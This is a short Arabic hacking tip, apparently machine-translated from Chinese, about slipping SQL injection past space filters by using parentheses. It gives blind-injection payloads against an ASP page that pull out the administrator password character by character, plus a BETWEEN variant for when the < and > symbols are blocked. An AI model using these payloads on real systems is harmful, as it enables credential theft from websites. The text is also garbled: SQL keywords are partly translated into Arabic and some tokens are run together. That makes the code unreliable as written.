فيما يتعلق بالمساحات ، هناك العديد من الطرق البديلة ، مثل مساحات Tab و / ** / في قواعد بيانات SQL ، لكنني وجدت طريقة بديلة أخرى ، تم نشرها في عدد 2006.7 من "Hacker Manual". هنا نختار الجوهر ودعونا نلقي نظرة!
بالنسبة لبيانات SQL ، لا يزال الجميع معتادين على مساحاتهم ، مثل SelectIdrom [name]. إذا لم يكن هناك مساحة في الوسط ، فإنه يصبح مختارًا من [الاسم] ، وهو مرتبك! بالإضافة إلى الطرق البديلة لعدد قليل من المساحات المذكورة أعلاه ، وجدت أنه يمكن أيضًا تشغيل قوسين () في SQL. على سبيل المثال ، يمكن كتابة العبارة أعلاه كحدد (معرف) من [الاسم] ، مفصولة بأقواس ، ويمكن تنفيذها بشكل طبيعي.
على سبيل المثال ، نحصل على نقطة حقن: jmdcw.asp؟ name = aa'and1 = 1 و '' = '، إذا استبدلت العبارة بأن 1 = 1 هي كلمة مرور مسؤول الاستعلام: (SelectAc (Mid (pass ، 1،1)) من [name] anyid = 1)> 49. كيفية استخدام المساحات؟ في الواقع يمكن كتابته مثل هذا:
jmdcw.asp؟ name = aa'and ((SELECT (ASC (mid (pass ، 1،1))) من [name] حيث (id = 1))> 49) و '' = '
إذا تم حظر الرموز <و> ، فاستخدم بين ... و ... والبيان هو:
jmdcw.asp؟ name = aa'and ((SELECT (ASC (mid (pass ، 1،1))) من [name] حيث (id = 1)) بين (40) و (50)) و '' = '
بالنسبة للأماكن التي يجب أن تظهر فيها المساحات في الوسط ، استخدم () لاستبدالها ، ولكن ليس من السهل استخدامها لبيانات SQL معقدة للغاية. المذكور أعلاه هو نوع الحرف. إذا كان نوعًا رقميًا ، فيمكنك إضافة قوس بعد المعرف = 1. ومع ذلك ، لم أختبر هذا ، على سبيل المثال: jmdcw.asp؟ id = (1) و (حدد ......). يجب أن يكون ممكنا ، أليس كذلك؟
هاها ، دعنا نلخصها ونشاركها مع الأصدقاء على Loveshell.